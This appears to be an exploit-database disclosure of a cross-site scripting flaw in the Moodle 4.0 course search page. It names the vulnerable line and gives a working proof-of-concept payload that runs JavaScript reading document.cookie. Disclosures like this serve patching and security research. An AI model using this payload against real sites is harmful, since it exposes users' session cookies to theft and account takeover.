Moodle LMS 4.0 - Cross-Site Scripting (XSS)

    Author: Saud Alenazi

    type: webapps

    platform: php

    port: 

    date_added: 2023-03-28

    date_updated: 2023-03-28

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    raw file: 51115.txt

# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
# Date: 26/10/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://moodle.org/
# Software Link: https://git.in.moodle.com/moodle
# Version: 4.0
# Tested on: XAMPP, Windows 10
# Contact: https://twitter.com/dmaral3noz

Description:

A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License

Vulnerable Code:

line 111 in file "course/search.php"

echo $courserenderer->search_courses($searchcriteria);


Steps to exploit:
1) Go to http://localhost/course/search.php
2) Insert your payload in the "search"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(document.cookie)>